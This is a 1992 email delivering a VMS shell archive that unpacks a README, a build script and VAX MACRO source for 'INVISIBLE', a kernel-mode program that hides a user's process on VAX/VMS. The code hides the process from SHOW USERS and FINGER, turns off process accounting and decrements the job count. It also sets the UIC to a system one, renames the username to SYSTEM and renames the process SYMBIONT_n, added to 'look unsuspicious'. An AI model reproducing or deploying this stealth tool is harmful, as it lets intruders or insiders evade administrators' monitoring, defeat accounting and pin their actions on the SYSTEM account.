From:	AITGW::"FILESERV@WKUVX1.BITNET" 19-FEB-1992 09:52:55.98
To:	ARISIA::EVERHART
CC:	
Subj:	INVISIBLE.01_OF_01

Received: by AITGW.DECnet (utk-mail11 v1.5) ; Wed, 19 Feb 92 09:51:25 EST
Received: from ukcc.uky.edu by aitgw.ge.com (5.65/GE Gateway 1.4)
	id AA20693; Wed, 19 Feb 92 09:51:17 -0500
Message-Id: <9202191451.AA20693@aitgw.ge.com>
Received: from ukcc.uky.edu by UKCC.uky.edu (IBM VM SMTP V2R2)
   with BSMTP id 6597; Wed, 19 Feb 92 09:42:56 EST
Received: from UKCC by ukcc.uky.edu (Mailer R2.08) with BSMTP id 1328; Wed, 19
 Feb 92 09:42:54 EST
Received: from WKUVX1.BITNET by ukcc.uky.edu (Mailer R2.08) with BSMTP id 1327;
 Wed, 19 Feb 92 09:42:53 EST
Received: by WKUVX1.BITNET (MX V3.0A) id 17444; Wed, 19 Feb 1992 08:43:26 EST
Date: Wed, 19 Feb 1992 08:43:26 EST
From: FILESERV-Mgr@WKUVX1.BITNET
Reply-To: FILESERV@WKUVX1.BITNET
Subject: INVISIBLE.01_OF_01
To: ARISIA::EVERHART
 
$! ------------------ CUT HERE -----------------------
$ v='f$verify(f$trnlnm("SHARE_VERIFY"))'
$!
$! This archive created by VMS_SHARE Version 7.2-007  22-FEB-1990
$!   On 19-FEB-1992 08:24:54.35   By user GOATHUNTER (@WKUVX1.BITNET)
$!
$! This VMS_SHARE Written by:
$!    Andy Harper, Kings College London UK
$!
$! Acknowledgements to:
$!    James Gray       - Original VMS_SHARE
$!    Michael Bednarek - Original Concept and implementation
$!
$! TO UNPACK THIS SHARE FILE, CONCATENATE ALL PARTS IN ORDER
$! AND EXECUTE AS A COMMAND PROCEDURE  (  @name  )
$!
$! THE FOLLOWING FILE(S) WILL BE CREATED AFTER UNPACKING:
$!       1. [.INVISIBLE]AAAREADME.TXT;1
$!       2. [.INVISIBLE]BUILD_INVISIBLE.COM;1
$!       3. [.INVISIBLE]INVISIBLE.MAR;1
$!
$set="set"
$set symbol/scope=(nolocal,noglobal)
$f=f$parse("SHARE_TEMP","SYS$SCRATCH:.TMP_"+f$getjpi("","PID"))
$e="write sys$error  ""%UNPACK"", "
$w="write sys$output ""%UNPACK"", "
$ if f$trnlnm("SHARE_LOG") then $ w = "!"
$ ve=f$getsyi("version")
$ if ve-f$extract(0,1,ve) .ges. "4.4" then $ goto START
$ e "-E-OLDVER, Must run at least VMS 4.4"
$ v=f$verify(v)
$ exit 44
$UNPACK: SUBROUTINE ! P1=filename, P2=checksum
$ if f$search(P1) .eqs. "" then $ goto file_absent
$ e "-W-EXISTS, File ''P1' exists. Skipped."
$ delete 'f'*
$ exit
$file_absent:
$ if f$parse(P1) .nes. "" then $ goto dirok
$ dn=f$parse(P1,,,"DIRECTORY")
$ w "-I-CREDIR, Creating directory ''dn'."
$ create/dir 'dn'
$ if $status then $ goto dirok
$ e "-E-CREDIRFAIL, Unable to create ''dn'. File skipped."
$ delete 'f'*
$ exit
$dirok:
$ w "-I-PROCESS, Processing file ''P1'."
$ if .not. f$verify() then $ define/user sys$output nl:
$ EDIT/TPU/NOSEC/NODIS/COM=SYS$INPUT 'f'/OUT='P1'
PROCEDURE Unpacker ON_ERROR ENDON_ERROR;SET(FACILITY_NAME,"UNPACK");SET(
SUCCESS,OFF);SET(INFORMATIONAL,OFF);f:=GET_INFO(COMMAND_LINE,"file_name");b:=
CREATE_BUFFER(f,f);p:=SPAN(" ")@r&LINE_END;POSITION(BEGINNING_OF(b));
LOOP EXITIF SEARCH(p,FORWARD)=0;POSITION(r);ERASE(r);ENDLOOP;POSITION(
BEGINNING_OF(b));g:=0;LOOP EXITIF MARK(NONE)=END_OF(b);x:=ERASE_CHARACTER(1);
IF g=0 THEN IF x="X" THEN MOVE_VERTICAL(1);ENDIF;IF x="V" THEN APPEND_LINE;
MOVE_HORIZONTAL(-CURRENT_OFFSET);MOVE_VERTICAL(1);ENDIF;IF x="+" THEN g:=1;
ERASE_LINE;ENDIF;ELSE IF x="-" THEN IF INDEX(CURRENT_LINE,"+-+-+-+-+-+-+-+")=
1 THEN g:=0;ENDIF;ENDIF;ERASE_LINE;ENDIF;ENDLOOP;t:="0123456789ABCDEF";
POSITION(BEGINNING_OF(b));LOOP r:=SEARCH("`",FORWARD);EXITIF r=0;POSITION(r);
ERASE(r);x1:=INDEX(t,ERASE_CHARACTER(1))-1;x2:=INDEX(t,ERASE_CHARACTER(1))-1;
COPY_TEXT(ASCII(16*x1+x2));ENDLOOP;WRITE_FILE(b,GET_INFO(COMMAND_LINE,
"output_file"));ENDPROCEDURE;Unpacker;QUIT;
$ delete/nolog 'f'*
$ CHECKSUM 'P1'
$ IF CHECKSUM$CHECKSUM .eqs. P2 THEN $ EXIT
$ e "-E-CHKSMFAIL, Checksum of ''P1' failed."
$ ENDSUBROUTINE
$START:
$ create 'f'
XINVISIBLE v02.002
X 5-JAN-1992 12:35
X
XEhud Gavron's INVISIBLE, based on Bruce Ellis's STEALTH and Ehud's UNSTEALTH
V.
XTry to hide yourself on the system....
X
XTo build:
X
X`09$ MACRO INVISIBLE
X`09$ LINK/NOTRACE INVISIBLE
X
XThis version also changes the username in the JIB to SYSTEM.  (This is
Xcontrolled by the definition of the symbol CHANGE_USERNAME in the MACRO
Xsource; to disable it, just comment out the following line in
XINVISIBLE.MAR:
X
X`09CHANGE_USERNAME = 1
X
XNote that commands like MAIL, SEND, REPLY, SUBMIT, etc., will all operate
Xunder the SYSTEM username is the code is enabled.  If you want such
Xprograms to use your own username when you are invisible, disable the code.
$ CALL UNPACK [.INVISIBLE]AAAREADME.TXT;1 960316477
$ create 'f'
X$ set symbol/scope=(noglobal,nolocal)
X$ macro invisible
X$ link/notrace invisible
X$ exit
$ CALL UNPACK [.INVISIBLE]BUILD_INVISIBLE.COM;1 308170745
$ create 'f'
X`09.TITLE`09Invisible`09- Stealth and Unstealth mixed together
X`09.IDENT`09/V02.003/
X;+
X;
X; ----- INVISIBLE:  Make a process invisible and visible again
X;
X; Facility:
X;
X;`09VAX/VMS kernel mode callable image
X;
X; Abstract:
X;
X;`09This module implements some of the concepts discussed by
X;`09Bruce Ellis in his Hitchiker's Guide to VMS series.  In
X;`09his example, he showed that by clearing the jobtype field
X;`09(jib$b_jobtype) and the interactive bit (pcb$v_inter in
X;`09pcb$l_sts) the process would not show up in SHOW USERS.
X;
X;`09What we do is clear those data fields (which eliminates
X;`09the job from FINGER) and also the terminal name, which
X;`09stops SHOW USERS from V5.2 and higher from displaying the
X;`09job.
X;
X;`09Alternately, if we are already noninteractive, we reenable
X;`09all those things.
X;
X; Environment:
X;
X;`09VAX/VMS native mode, VMS V5.0 or later, resident, kernel mode,
X;`09CMKRNL privilege required.
X;
X; Notes:
X;
X;`09Rather than go to any pains to create a data storage location
X;`09for the length of the terminal string (pcb$t_terminal) or to
X;`09recreate this number by say calling $trnlnm on "TT", it is far
X;`09easier just to stash it.  In this case we use the symbol
X;`09pcb$w_saveterm to point to the location.  V01.001 of this
X;`09program equates that to PCB$L_ORB, which is typically unused.
X;`09(As of V5.4-2 there is no ORB used on the PCB).
X;
X;`09V002-000
X;`09Create a process executive-mode logical name and store the
X;`09information there.  Add in knicknacks to look unsuspicious.
X;
X; Author:
X;
X;`09Ehud Gavron
X;`09Associates in Consulting and Educational Services
X;`09Post Office Box 14546, Tucson AZ 85711`09  1-800-745-3483
X;
X;`09Internet:`09gavron@Spades.ACES.COM
X;
X;
X; Revision History:
X;
X;`09V01.000 18-Nov-1991`09Gavron`09Created
X;`09V01.001 18-Nov-1991`09Gavron`09Cleaned up code a bit.`09Changed all
X;`09`09`09`09`09references from PCB$L_ORB to symbol
X;`09`09PCB$W_SAVETERM just in case I decide to move it later.
X;
X;`09V02.000 26-Dec-1991`09Gavron`09Finally got around to doing all of
X;`09`09`09`09`09my wishlist items.  First, the data
X;`09`09is now all stored in a process logical name.  Second, the
X;`09`09jib$b_jobtype field is now properly stored instead of being
X;`09`09guessed at randomly.  Third, the UIC is changed to `5B1,4`5D.
X;`09`09Fourth, the process name is automatically set to SYMBIONT_n.
X;`09`09Fifth, I can now reenable process accounting without a crash
X;`09`09so let's hope it stays that way!
X;
X;`09V02.001 1-JAN-1992`09Goatley Added code to change the username in
X;`09`09`09`09`09the JIB to SYSTEM to further allay
X;`09`09`09`09Gavron`09Made those changes optional based
X;`09`09`09`09`09on whether the following line is
X;`09`09`09`09`09commented out or not:
X`09`09CHANGE_USERNAME = 1
X;
X;`09V02.002 4-Jan-1992`09Gavron`09Made it ignore IJOBCNT if it is being
X;`09`09`09`09`09run in the context of a subprocess.
X;`09`09Thanks to Anthony McCracken <acm@nauvax.ucc.nau.edu> for
X;`09`09pointing out the problem.
X;
X;`09V02.003`0919-FEB-1992`09Goatley`09Added support for SYMBIONT_N names
X;`09`09`09`09`09under VMS v5.5.
X;-
X
X`09.library "sys$library:lib.mlb"  ; Get $nnnDEFs
X`09.link`09 "sys$system:sys.stb"-  ; Get offsets
X`09`09 /selective_search
X`09$jibdef `09; Job Information Block offsets
X`09$lnmdef `09; Logical Name symbol definitions
X`09$pcbdef `09; Process Control Block offsets
X`09$psldef `09; Processor Status Longword offsets and definitions
X`09$ssdef`09`09; System Status codes
X`09$quidef`09`09; $GETQUI symbols (used to detect VMS v5.5)
X;
X; Define structures for storing old process information
X;
X
X
X$DEFINI ISB`09`09`09; _Invisible_ Storage Block
X$DEF`09ISB$L_UIC`09.BLKL 1 ; Process User Identification Code
X$DEF`09ISB$B_TERMINAL`09.BLKL 1 ; Terminal Name length
X$DEF`09ISB$B_JOBTYPE`09.BLKL 1 ; Job Type (from JIB)
X$DEF`09ISB$L_NAMELEN`09.BLKL 1 ; Length of process name
X$DEF`09ISB$T_LNAME`09.BLKB - ; Process name
X`09`09`09<PCB$S_LNAME>
X$DEF`09ISB$T_USERNAME`09.BLKB - ; Username
X`09`09`09<JIB$S_USERNAME>
X$DEF`09ISB$K_SIZE`09`09; Size of ISB
X$DEFEND ISB
X
X;
X; $CRELNM and $TRNLNM data structures:
X;
Xlnm_retlen:`09.blkl`091
Xlnm_buffer:`09.blkb`09isb$k_size
Xlnm_buflen = . - lnm_buffer
X;
X; Itemlist for $CRELNM and $TRNLNM:
X;
Xlnm_itmlst:
X`09.word`09lnm_buflen`09; Buffer length
X`09.word`09lnm$_string`09; Item code
X`09.address lnm_buffer`09; Buffer address
X`09.address lnm_retlen`09; Return length (unused by $CRELNM)
X`09.long`090`09`09; Terminate item list
X;
X; Itemlist for $GETJPIW:
X;
Xjpi_itmlst:
X`09.word`09<pcb$s_lname>`09; Buffer length
X`09.word`09jpi$_prcnam`09; Item code
X`09.long`09-`09`09; Buffer address
X`09<lnm_buffer+isb$t_lname>
X`09.long`09-`09`09; Return length (used by $SETPRN)
X`09<lnm_buffer+isb$l_namelen>
X`09.long`090`09`09; Terminate item list
X;
Xprcnam_desc:
X`09.blkl`091`09`09; Filled later
X`09.long`09-`09`09; Address of string (inside of ISB)
X`09<lnm_buffer+isb$t_lname>
X;
X; Parameters to be used by call to $CRELNM and $TRNLNM:
X;
Xlnm_tabnam:`09.ascid`09-`09; Use process logical name table
X`09`09"LNM$PROCESS_TABLE"
Xlnm_lognam:`09.ascid`09-`09; Use ISB as the logical name
X`09`09"ISB"
X;
X; Other assorteds:
X;
Xsysuic: .long`09`5Ex00010004`09; New UIC (`5B1,4`5D)
X.IF DEFINED    CHANGE_USERNAME
Xspace = `5EA/ /
Xsysusername:
X`09.ascii`09"SYSTEM"        ; New username
Xsulen = . - sysusername `09; Length of new username
Xsupad:`09.byte`09-`09`09; Space padding to full length
X`09space`5B<jib$s_username-sulen>`5D
X.ENDC
Xprcnam:`09.word`09pcb$s_lname
X`09.byte`09dsc$k_dtype_t
X`09.byte`09dsc$k_class_s
X`09.address .+4
X`09.blkb`09pcb$s_lname
Xfao_prcnam:
X.IF DEFINED QUI$_AUTOSTART_ON`09`09; If VMS v5.5, then don't include
X`09.ascid`09"SYMBIONT_!UL"`09`09; ... leading zeros in the prcnam
X.IFF`09`09`09`09`09; Otherwise, we always want 4 digits
X`09.ascid`09"SYMBIONT_!4ZL"`09`09; ...
X.ENDC
X
X`09.entry invisible,`5Em<>
X`09$cmkrnl_s`09routin=invisible_k`09; Do it all in Kernel mode
X`09ret`09`09`09`09`09; and exit
X
X`09.entry invisible_k,`5Em<r2,r3,r4,r5,r6,r7,r8>
X`09moval`09lnm_buffer,r6`09`09`09; Get pointer to ISB
X`09bbss`09#pcb$v_inter,-`09`09`09; If we are visible, then
X`09`09pcb$l_sts(r4),- `09`09; Go into Stealth mode
X`09`09stealth
X`09brw`09unstealth`09`09`09; Else go into Unstealth
X
Xstealth:
X`09bicl`09#pcb$m_inter,pcb$l_sts(r4)`09; Clear the interactive bit
X`09bisl`09#pcb$m_noacnt,pcb$l_sts(r4)`09; Disable accounting
X`09tstl`09pcb$l_owner(r4) `09`09; Are we a subprocess?
X`09bneq`095$`09`09`09`09; Yup, don't decrement ijobcnt
X`09decw`09g`5Esys$gw_ijobcnt`09`09; Decrement job count
X5$:`09movb`09pcb$t_terminal(r4),-`09`09; Store terminal name length
X`09`09isb$b_terminal(r6)
X`09clrb`09pcb$t_terminal(r4)`09`09; Clear the terminal name len
X`09movl`09pcb$l_jib(r4),r5`09`09; Get Job Information Block adr
X`09movb`09jib$b_jobtype(r5),-`09`09; Save job type
X`09`09isb$b_jobtype(r6)
X`09clrb`09jib$b_jobtype(r5)`09`09; And clear it
X.IF DEFINED    CHANGE_USERNAME
X`09pushr`09#`5Em<r1,r2,r3,r4,r5>`09`09; Save regs
X`09movl`09#jib$s_username,r7`09`09; Length of username
X`09movl`09r5,r8`09`09`09`09; Save JIB across MOVCx
X`09movc3`09r7,jib$t_username(r8),- `09; Save old username
X`09`09isb$t_username(r6)
X`09movc3`09r7,sysusername,-`09`09; Set system username
X`09`09jib$t_username(r8)
X`09popr`09#`5Em<r1,r2,r3,r4,r5>
X.ENDC
X`09movl`09pcb$l_uic(r4),- `09`09; Save old UIC
X`09`09isb$l_uic(r6)
X`09movl`09sysuic,pcb$l_uic(r4)`09`09; And set system uic
X`09$getjpiw_s`09itmlst=jpi_itmlst`09; Get process name
X`09$crelnm_s`09tabnam=lnm_tabnam,-`09; Store ISB
X`09`09`09lognam=lnm_lognam,-
X`09`09`09acmode=#psl$c_exec,-
X`09`09`09itmlst=lnm_itmlst
X;
X; Now set a process name of the first unique nnnn for SYMBIONT_nnnn:
X;
X`09movl`09#1,r2`09`09; Initialize SYMBIONT_nnnn number
X10$:
X`09movw`09#pcb$s_lname,prcnam`09`09; Reset length of prcnam desc.
X`09$fao_s`09ctrstr=fao_prcnam,-`09`09; Use $FAO to convert it to
X`09`09outbuf=prcnam,-`09`09`09; ... SYMBIONT_x
X`09`09outlen=prcnam,-
X`09`09p1=r2
X`09blbc`09r0,20$`09`09`09`09; Branch on error
X`09incl`09r2`09`09`09`09; Bump count now in case....
X`09$setprn_s`09prcnam=prcnam
X`09cmpl`09r0,#ss$_duplnam
X`09beql`0910$
X20$:
X`09ret`09`09`09`09`09; And return to user mode
X
X
Xunstealth:
X`09$trnlnm_s`09tabnam=lnm_tabnam,-`09; Get ISB
X`09`09`09lognam=lnm_lognam,-
X`09`09`09acmode=#psl$c_exec,-
X`09`09`09itmlst=lnm_itmlst
X`09blbc`09r0,30$
X
X`09$dellnm_s`09tabnam=lnm_tabnam,-`09; Delete logical name (ISB)
X`09`09`09lognam=lnm_lognam,-
X`09`09`09acmode=#psl$c_exec
X`09blbc`09r0,30$
X
X`09bisl`09#pcb$m_inter,pcb$l_sts(r4)`09; Set the interactive bit
X`09bicl`09#pcb$m_noacnt,pcb$l_sts(r4)`09; Enable accounting
X`09tstl`09pcb$l_owner(r4) `09`09; Are we a subprocess?
X`09bneq`0925$`09`09`09`09; Yup, don't increment ijobcnt
X`09incw`09g`5Esys$gw_ijobcnt`09`09; Increment job count
X25$:`09movl`09isb$l_uic(r6),- `09`09; Restore UIC
X`09`09pcb$l_uic(r4)
X`09movb`09isb$b_terminal(r6),-`09`09; Restore terminal name length
X`09`09pcb$t_terminal(r4)
X`09movl`09pcb$l_jib(r4),r5
X`09movb`09isb$b_jobtype(r6),-`09`09; Restore job type
X`09`09jib$b_jobtype(r5)
X`09movl`09isb$l_namelen(r6),prcnam_desc`09; Fix descriptor length
X.IF DEFINED    CHANGE_USERNAME
X`09movl`09#jib$s_username,r7
X`09movc3`09r7,isb$t_username(r6),- `09; Restore username
X`09`09jib$t_username(r5)
X.ENDC
X`09$setprn_s`09prcnam=prcnam_desc`09; Restore process name
X
X`09movl`09#ss$_normal,r0
X30$:
X`09ret
X`09.end`09invisible
$ CALL UNPACK [.INVISIBLE]INVISIBLE.MAR;1 491366137
$ v=f$verify(v)
$ EXIT
